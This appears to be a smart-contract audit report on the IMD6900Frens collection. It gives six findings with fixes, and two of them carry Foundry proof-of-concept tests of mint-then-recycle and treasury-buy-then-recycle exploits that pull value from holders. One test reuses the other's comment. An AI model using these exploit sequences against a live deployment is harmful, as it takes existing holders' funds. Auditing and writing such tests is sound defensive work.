• highRoyalty/fee ETH waiting for buyFloorWithEth is left out of quote() and floorPerFren(): someone who mints before the ETH buy and recycles after it takes the existing holders' feessrc/frens/IMD6900Frens.sol:504

  quote() (lines 499-510) counts the floor as _unswept() $IMD + floorImd + reserve/floorRate. floorPerFren() (line 811, used by recycle and buyTreasury) counts reserve/out and floorImd/out. Neither counts address(this).balance (royalties paid to the contract by royaltyInfo, the hook's fee slice, WETH turned into ETH by unwrapWeth), which only becomes reserve when someone calls buyFloorWithEth. Anyone may call that, up to maxEthPerBuy once a block.

  So a fren minted before the ETH buy pays a price that leaves the ETH out, and a recycle after the buy pays a share that includes it. This breaks the stated guarantee 'nobody can mint and sell straight back to the floor for more than they paid': each ETH buy moves count/(out+count) of its value to the person who minted right before it.

  The exposure is largest right after resume(): setup() pauses ETH buys, so every royalty from the workers' window piles up as ETH while few frens are out. Merged from audit_economics (the treasury-buy part of its finding is covered here as well).

  Minimal fix: in quote() and floorPerFren(), value address(this).balance (and the WETH balance) at an ETH rate, or buy/sweep the pending ETH before a mint is quoted. This changes the creation code of src/frens and so moves FRENS_AT, a scope decision for the requester.

  whole finding

  Ran test/scratch/EthPending.t.sol (the specialist's proof, unchanged) with forge 1.8.3 --offline.

  State: traits sealed, mint open, a stub swapper paying 70,000 IMD6900 per $IMD and 3,000 $IMD per ETH, 4 frens out to one holder, floor bought in (0.5656 $IMD per fren).

  0.25 ETH is sent to receive().

  Next block the attacker calls requestMint(1, quote(1)=0.6916 $IMD), then buyFloorWithEth(0.25 ether, 0), then recycle(5).

  Expected: back <= paid.

  Actual: FAIL 'a mint sold straight back to the floor pays more than it cost: 150490820000000000000 > 691600000000000000'.

  The holder's floor is 150.49 per fren instead of about 188.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {IMD6900Frens, IFrenSwapper} from "src/frens/IMD6900Frens.sol";
  import {FrenPrices} from "src/frens/FrenPrices.sol";
  
  /// @dev A plain ERC20 with explicit allowances only (like $IMD and IMD6900 as the collection books them)
  contract PlainToken {
      string public name;
      mapping(address => uint256) public balanceOf;
      mapping(address => mapping(address => uint256)) public allowance;
  
      constructor(string memory n) {
          name = n;
      }
  
      function mint(address to, uint256 a) external {
          balanceOf[to] += a;
      }
  
      function approve(address s, uint256 a) external returns (bool) {
          allowance[msg.sender][s] = a;
          return true;
      }
  
      function transfer(address to, uint256 a) external returns (bool) {
          require(a != 0, "zero"); // IMD6900 refuses a transfer of nothing
          balanceOf[msg.sender] -= a;
          balanceOf[to] += a;
          return true;
      }
  
      function transferFrom(address f, address to, uint256 a) external returns (bool) {
          require(a != 0, "zero");
          if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
          balanceOf[f] -= a;
          balanceOf[to] += a;
          return true;
      }
  }
  
  contract StubPermit2 {
      mapping(address => mapping(uint256 => uint256)) public nonceBitmap;
  
      function DOMAIN_SEPARATOR() external pure returns (bytes32) {
          return keccak256("permit2");
      }
  }
  
  /// @dev The swapper as the frens see it: a fixed rate of 70,000 IMD6900 per $IMD, 1 ETH = 3,000 $IMD (the same
  ///      stand-in the repository's own tests use). It pulls what it spends and mints the IMD6900 out.
  contract StubSwapper is IFrenSwapper {
      PlainToken internal immutable imd;
      PlainToken internal immutable imd6900;
      uint256 public constant RATE = 70_000;
  
      constructor(PlainToken imd_, PlainToken imd6900_) {
          imd = imd_;
          imd6900 = imd6900_;
      }
  
      function floorRate() external pure returns (uint256) {
          return RATE * 1e18;
      }
  
      function imdToImd6900(uint256 imdIn, uint256, address to) external returns (uint256 out) {
          imd.transferFrom(msg.sender, address(this), imdIn);
          out = imdIn * RATE;
          imd6900.mint(to, out);
      }
  
      function ethToImd6900(uint256, address to) external payable returns (uint256 out) {
          out = msg.value * 3_000 * RATE;
          imd6900.mint(to, out);
      }
  }
  
  /// @notice ETH that arrived at the collection (royalties, the launch hook's fee slice, unwrapped WETH) and waits for
  ///         buyFloorWithEth is not in quote() nor in floorPerFren(): a mint right before the ETH buy joins the floor
  ///         without paying for it, and a recycle right after takes a share of it. The round trip pays more than the
  ///         mint cost, which the collection promises never happens ("A mint never costs less than the floor it joins").
  contract EthPendingFloorCaptureTest is Test {
      IMD6900Frens frens;
      PlainToken imd;
      PlainToken imd6900;
      StubSwapper swapper;
      address holder = makeAddr("existing holder");
      address attacker = makeAddr("attacker");
  
      function setUp() public {
          imd = new PlainToken("IMD");
          imd6900 = new PlainToken("IMD6900");
          PlainToken identity = new PlainToken("identity.md");
          StubPermit2 permit2 = new StubPermit2();
          address prices = address(new FrenPrices());
          frens = new IMD6900Frens(
              address(this),
              address(imd),
              address(imd6900),
              address(identity),
              address(permit2),
              makeAddr("x402"),
              makeAddr("payTo"),
              makeAddr("keeper"),
              makeAddr("relayer"),
              prices
          );
          swapper = new StubSwapper(imd, imd6900);
          _rules(frens);
          frens.sealTraits();
          frens.setModules(address(swapper), address(0));
          frens.setMintOpen(true);
          imd.mint(holder, 10_000e18); // tier 3
          imd.mint(attacker, 10_000e18); // tier 3
          vm.prank(holder);
          imd.approve(address(frens), type(uint256).max);
          vm.prank(attacker);
          imd.approve(address(frens), type(uint256).max);
      }
  
      /// @dev The invariant the collection states: minting and selling straight back to the floor never pays.
      ///      Here the "straight back" spans one permissionless call, buyFloorWithEth, on ETH that was already here.
      function test_MintBeforeTheEthBuyThenRecycleTakesTheFloorsFees() public {
          // 4 frens out, their floor bought in
          vm.prank(holder);
          frens.requestMint(4, type(uint256).max);
          vm.roll(block.number + 1);
          if (frens.floorImd() != 0) frens.buyFloor(0);
          uint256 holderFloorBefore = _floorValue();
  
          // 0.25 ETH of royalties / hook fees arrived and waits for the next ETH buy
          vm.deal(address(this), 0.25 ether);
          (bool ok,) = address(frens).call{value: 0.25 ether}("");
          assertTrue(ok);
          vm.roll(block.number + 1);
  
          // the attacker, in one transaction: mint, buy the waiting ETH into the floor (anyone may), sell straight back
          uint256 paid = frens.quote(1);
          vm.startPrank(attacker);
          frens.requestMint(1, paid);
          frens.buyFloorWithEth(0.25 ether, 0);
          (uint256 got6900, uint256 gotImd) = frens.recycle(5);
          vm.stopPrank();
          uint256 back = gotImd + got6900 * 1e18 / swapper.floorRate();
  
          emit log_named_decimal_uint("paid for the mint ($IMD)", paid, 18);
          emit log_named_decimal_uint("got back from the floor ($IMD-equivalent)", back, 18);
          emit log_named_decimal_uint("the holder's floor before, per fren", holderFloorBefore / 4, 18);
          emit log_named_decimal_uint("the holder's floor after, per fren", _floorValue() / 4, 18);
          assertLe(back, paid, "a mint sold straight back to the floor pays more than it cost");
      }
  
      function _floorValue() internal view returns (uint256) {
          return frens.floorImd() + frens.reserve() * 1e18 / swapper.floorRate();
      }
  
      /* ── the launch's trait rules (script/frens/DeployFrens.s.sol launchRules) ── */
  
      function _fill(uint8 n, uint16 cap, uint8 tier) internal pure returns (uint16[] memory caps, uint8[] memory tiers) {
          caps = new uint16[](n);
          tiers = new uint8[](n);
          for (uint8 i; i < n; ++i) {
              (caps[i], tiers[i]) = (cap, tier);
          }
      }
  
      function _rules(IMD6900Frens f) internal {
          (uint16[] memory c, uint8[] memory t) = _fill(3, 0, 0);
          (c[0], c[1], c[2], t[1], t[2]) = (1598, 312, 312, 2, 2);
          f.setTraitRules(0, c, t);
          (c, t) = _fill(13, 2222, 0);
          (c[12], t[12]) = (56, 3);
          f.setTraitRules(1, c, t);
          (c, t) = _fill(4, 2222, 0);
          (c[3], t[3]) = (222, 1);
          f.setTraitRules(2, c, t);
          (c, t) = _fill(3, 2222, 0);
          (c[2], t[2]) = (103, 1);
          f.setTraitRules(3, c, t);
          (c, t) = _fill(6, 2222, 0);
          f.setTraitRules(4, c, t);
          (c, t) = _fill(3, 266, 1);
          (c[0], t[0]) = (2222, 0);
          f.setTraitRules(5, c, t);
          (c, t) = _fill(12, 2222, 0);
          f.setTraitRules(6, c, t);
          (c, t) = _fill(16, 140, 1);
          (c[0], t[0]) = (2222, 0);
          f.setTraitRules(7, c, t);
      }
  }

  whole proof

• mediumfloorPerFren() leaves out the unswept $IMD that quote() counts: buyTreasury undercharges and recycle underpays until the next sweepsrc/frens/IMD6900Frens.sol:811

  quote() adds _unswept() extra (IMD's 0.25 job refunds, or any $IMD sent to the contract) to the floor. floorPerFren() leaves it out, so buyTreasury charges 2x a floor that is missing it, and recycle pays a share without it. The extra becomes floorImd only inside _buyFloor. buyFloor() reverts Cap when the buy is skipped (buys paused, same block, no swapper), which undoes its own sweep, so while buys are paused only a mint sweeps.

  Exploit: buy a treasury fren at 2x the booked floor, sweep (buyFloor, or any mint), then recycle at the swept floor. A holder who recycles before the sweep gives up their share of the extra. This shares a theme with finding 1 (backing that is not booked is priced unevenly) but it is a different gap with a different fix.

  Minimal fix: book the unswept $IMD (floorImd += extra) at the top of recycle() and buyTreasury(), or count it in floorPerFren(). This changes src/frens, a scope decision for the requester.

  whole finding

  test/scratch/Unswept.t.sol (same harness as finding 1): holder mints 4 frens, the floor is bought in, holder recycles fren 4 (it goes to the treasury), then 100e18 $IMD is sent to the collection.

  Next block the attacker calls buyTreasury(4, 2f6900, 2fImd), costing 1.13125 $IMD-equivalent, then buyFloor(0) (sweeps the 100 $IMD), then recycle(4).

  Expected: back <= cost.

  Actual: FAIL 'treasury buy + recycle pays more than it cost: 25707031250000000000 > 1131250000000000000'.

  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {IMD6900Frens, IFrenSwapper} from "src/frens/IMD6900Frens.sol";
  import {FrenPrices} from "src/frens/FrenPrices.sol";
  
  /// @dev A plain ERC20 with explicit allowances only (like $IMD and IMD6900 as the collection books them)
  contract PlainToken {
      string public name;
      mapping(address => uint256) public balanceOf;
      mapping(address => mapping(address => uint256)) public allowance;
  
      constructor(string memory n) {
          name = n;
      }
  
      function mint(address to, uint256 a) external {
          balanceOf[to] += a;
      }
  
      function approve(address s, uint256 a) external returns (bool) {
          allowance[msg.sender][s] = a;
          return true;
      }
  
      function transfer(address to, uint256 a) external returns (bool) {
          require(a != 0, "zero"); // IMD6900 refuses a transfer of nothing
          balanceOf[msg.sender] -= a;
          balanceOf[to] += a;
          return true;
      }
  
      function transferFrom(address f, address to, uint256 a) external returns (bool) {
          require(a != 0, "zero");
          if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
          balanceOf[f] -= a;
          balanceOf[to] += a;
          return true;
      }
  }
  
  contract StubPermit2 {
      mapping(address => mapping(uint256 => uint256)) public nonceBitmap;
  
      function DOMAIN_SEPARATOR() external pure returns (bytes32) {
          return keccak256("permit2");
      }
  }
  
  /// @dev The swapper as the frens see it: a fixed rate of 70,000 IMD6900 per $IMD, 1 ETH = 3,000 $IMD (the same
  ///      stand-in the repository's own tests use). It pulls what it spends and mints the IMD6900 out.
  contract StubSwapper is IFrenSwapper {
      PlainToken internal immutable imd;
      PlainToken internal immutable imd6900;
      uint256 public constant RATE = 70_000;
  
      constructor(PlainToken imd_, PlainToken imd6900_) {
          imd = imd_;
          imd6900 = imd6900_;
      }
  
      function floorRate() external pure returns (uint256) {
          return RATE * 1e18;
      }
  
      function imdToImd6900(uint256 imdIn, uint256, address to) external returns (uint256 out) {
          imd.transferFrom(msg.sender, address(this), imdIn);
          out = imdIn * RATE;
          imd6900.mint(to, out);
      }
  
      function ethToImd6900(uint256, address to) external payable returns (uint256 out) {
          out = msg.value * 3_000 * RATE;
          imd6900.mint(to, out);
      }
  }
  
  /// @notice ETH that arrived at the collection (royalties, the launch hook's fee slice, unwrapped WETH) and waits for
  ///         buyFloorWithEth is not in quote() nor in floorPerFren(): a mint right before the ETH buy joins the floor
  ///         without paying for it, and a recycle right after takes a share of it. The round trip pays more than the
  ///         mint cost, which the collection promises never happens ("A mint never costs less than the floor it joins").
  contract UnsweptTest is Test {
      IMD6900Frens frens;
      PlainToken imd;
      PlainToken imd6900;
      StubSwapper swapper;
      address holder = makeAddr("existing holder");
      address attacker = makeAddr("attacker");
  
      function setUp() public {
          imd = new PlainToken("IMD");
          imd6900 = new PlainToken("IMD6900");
          PlainToken identity = new PlainToken("identity.md");
          StubPermit2 permit2 = new StubPermit2();
          address prices = address(new FrenPrices());
          frens = new IMD6900Frens(
              address(this),
              address(imd),
              address(imd6900),
              address(identity),
              address(permit2),
              makeAddr("x402"),
              makeAddr("payTo"),
              makeAddr("keeper"),
              makeAddr("relayer"),
              prices
          );
          swapper = new StubSwapper(imd, imd6900);
          _rules(frens);
          frens.sealTraits();
          frens.setModules(address(swapper), address(0));
          frens.setMintOpen(true);
          imd.mint(holder, 10_000e18); // tier 3
          imd.mint(attacker, 10_000e18); // tier 3
          vm.prank(holder);
          imd.approve(address(frens), type(uint256).max);
          vm.prank(attacker);
          imd.approve(address(frens), type(uint256).max);
      }
  
      function test_TreasuryBuyThenSweepThenRecycleTakesUnsweptImd() public {
          vm.prank(holder);
          frens.requestMint(4, type(uint256).max);
          vm.roll(block.number + 1);
          if (frens.floorImd() != 0) frens.buyFloor(0);
          vm.roll(block.number + 1);
          vm.prank(holder);
          frens.recycle(4); // one fren in the treasury
          imd.mint(address(frens), 100e18); // $IMD arrives (refunds, a transfer): not yet swept
          vm.roll(block.number + 1);
          (uint256 p6900, uint256 pImd) = frens.floorPerFren();
          uint256 cost = 2 * pImd + 2 * p6900 * 1e18 / swapper.floorRate();
          imd6900.mint(attacker, 2 * p6900);
          vm.startPrank(attacker);
          imd6900.approve(address(frens), type(uint256).max);
          frens.buyTreasury(4, 2 * p6900, 2 * pImd);
          frens.buyFloor(0); // sweeps the 100 $IMD into floorImd and buys
          (uint256 g6900, uint256 gImd) = frens.recycle(4);
          vm.stopPrank();
          uint256 back = gImd + g6900 * 1e18 / swapper.floorRate();
          emit log_named_decimal_uint("treasury buy cost", cost, 18);
          emit log_named_decimal_uint("recycle back", back, 18);
          assertLe(back, cost, "treasury buy + recycle pays more than it cost");
      }
  
      function _floorValue() internal view returns (uint256) {
          return frens.floorImd() + frens.reserve() * 1e18 / swapper.floorRate();
      }
  
      /* ── the launch's trait rules (script/frens/DeployFrens.s.sol launchRules) ── */
  
      function _fill(uint8 n, uint16 cap, uint8 tier) internal pure returns (uint16[] memory caps, uint8[] memory tiers) {
          caps = new uint16[](n);
          tiers = new uint8[](n);
          for (uint8 i; i < n; ++i) {
              (caps[i], tiers[i]) = (cap, tier);
          }
      }
  
      function _rules(IMD6900Frens f) internal {
          (uint16[] memory c, uint8[] memory t) = _fill(3, 0, 0);
          (c[0], c[1], c[2], t[1], t[2]) = (1598, 312, 312, 2, 2);
          f.setTraitRules(0, c, t);
          (c, t) = _fill(13, 2222, 0);
          (c[12], t[12]) = (56, 3);
          f.setTraitRules(1, c, t);
          (c, t) = _fill(4, 2222, 0);
          (c[3], t[3]) = (222, 1);
          f.setTraitRules(2, c, t);
          (c, t) = _fill(3, 2222, 0);
          (c[2], t[2]) = (103, 1);
          f.setTraitRules(3, c, t);
          (c, t) = _fill(6, 2222, 0);
          f.setTraitRules(4, c, t);
          (c, t) = _fill(3, 266, 1);
          (c[0], t[0]) = (2222, 0);
          f.setTraitRules(5, c, t);
          (c, t) = _fill(12, 2222, 0);
          f.setTraitRules(6, c, t);
          (c, t) = _fill(16, 140, 1);
          (c[0], t[0]) = (2222, 0);
          f.setTraitRules(7, c, t);
      }
  }

  whole proof

• lowapproveJob records a Permit2 nonce that is already spent: the job's 0.50 $IMD allowance is stranded for goodsrc/frens/IMD6900Frens.sol:724

  approveJob checks whether the previous nonce is spent (_spent(r.jobNonce)) but never checks the new one. If the keeper or governor passes a nonce whose Permit2 bit is already set, the call still decrements r.jobs, sets jobApproved, lowers jobBudget by JOB_PRICE and raises the Permit2 allowance by JOB_PRICE.

  Permit2 can never settle that payment. _reclaimLapsed then always returns false, because _spent(r.jobNonce) is true, so releaseLapsedJob and a fresh approveJob both revert BadJob. _unswept counts the allowance in its books, so the 0.50 never reaches the floor. The request needs a second paid job (retryJob). Only the trusted keeper can trigger it, hence low.

  Merged from audit_flow, audit_economics and audit_permissions (the same root cause).

  Fix: add if (_spent(nonce)) revert BadJob(); before line 726.

  With one job paid on request id (jobs=1) and Permit2 nonceBitmap(frens, 0) bit 42 set, the keeper calls approveJob(id, 42, now+600, q).

  Expected: BadJob.

  Actual: it succeeds, allowance(frens, permit2) == 0.5e18 and jobBudget == 0.

  After the deadline, releaseLapsedJob(id) reverts BadJob, approveJob(id, 43, ...) reverts BadJob, and balanceOf(frens) - floorImd - jobBudget == 0.5e18 forever.

  Ran test/FrensLaunchAdaptation.t.sol::test_Risk_SpentNonceStrandsJobAllowanceInPinnedCollection against the placed bytecode: PASS (it asserts the defect).

  whole reproduction

• lowDeployFrens open()/resume() check the swapper's frozen launch-block average against today's spot: after a >2x move during the pause both revertscript/frens/DeployFrens.s.sol:122

  setup() calls setParams(_, 0, 0), which pauses every floor buy. FrenSwapper.rateAverage moves only in _average, which runs only inside a swap: with imdIn == 0, _buyFloor returns early, and buyFloorWithEth reverts Cap because ethCap is 0. So until resume() the average stays at the launch-block seed. open() and resume() both call _checkSwapper, which requires avg to be within 2x of spotRate().

  A pool move of more than 2x during the timelock wait (48h at least) makes both scripted steps revert for good, and the governor must call setMintOpen/setParams by hand, skipping the script's other guards (first frens, the fee exemption, the wiring check). No funds are at risk, and the script can be fixed without changing bytecode: skip the band when no buy has happened since the seed.

  Launch with the pool's sqrtPrice at 2^96/265 (seed of about 70,225 IMD6900 per $IMD), run setup() and firstFrens, then move the pool to sqrtPrice 2^96/384 (about 147,456, 2.1x). rateAverage is unchanged, because buyFloor reverts Cap and buyFloorWithEth reverts Cap.

  Make the frens a distributor and the swapper fee-exempt, then call open() and resume().

  Expected: they go through.

  Actual: both revert 'swapper average outside spot band', since avg*2 = 140,450 < spot = 147,456, as line 122 shows.

• infoAnyone can place the exact swapper at SWAPPER_AT in a block where they pushed the pool, forcing the CREATE fallback and voiding the queued timelock fee exemptionsrc/FrensPlacement.sol:100

  _place adopts any code already at FrensPlan.SWAPPER_AT. If its seeded rateAverage is outside 2x of the launch block's spot, PlaceModules creates a replacement with plain CREATE at a different address. The contract at SWAPPER_AT can never be repaired, because only the frens contract can move its average.

  The swapper then does not land at 0x6900453d... 'whoever deploys', and the queued setFeeExempt(0x6900453d..., true) misses the actual swapper, so resume() waits for another 48h timelock operation. No funds are at risk.

  The fallback is the safer design, and README already says to read PlaceModules.swapper(). Recorded so the replacement exemption can be prepared ahead of time. Merged from audit_flow.

  Ran test/FrensLaunchReview.t.sol::test_Fix_LaunchReplacesASwapperSeededOffASkewedPrice: PASS. It places the swapper through the CREATE2 deployer at a pool price pushed about 10x, restores the price, deploys PlaceModules, and checks pm.swapper() != FrensPlan.SWAPPER_AT.

• info_unapprove never clears the quote digest and recomputes the permit digest from the current imdPayTosrc/frens/IMD6900Frens.sol:747

  approveJob sets two digests in approvedDigest (lines 733-734). _unapprove clears only the permit digest, and it recomputes that digest from the live imdPayTo. After setRoles changes imdPayTo, the original permit digest is never cleared, and the quote digest is never cleared at all. isValidSignature keeps returning the magic value for payments the contract treats as undone.

  There is no exploitable effect: Permit2 enforces the permit's deadline, which has already passed, and the quote's expiresAt is capped at one hour. Merged from audit_permissions. Fix if the code is ever reopened: store the approved digests in the Request and clear both.

  The keeper calls approveJob(1, 42, T+600, q), which returns (pd, qd).

  The governor calls setRoles(0, 0, newPayTo).

  Warp to T+601; the keeper calls approveJob(1, 43, ...)

  (it needs a second paid job, or the reclaim path via releaseLapsedJob after the reveal). _reclaimLapsed -> _unapprove clears the digest built from newPayTo. isValidSignature(pd, '') and isValidSignature(qd, '') still return 0x1626ba7e (expected 0xffffffff).

Failed in the task.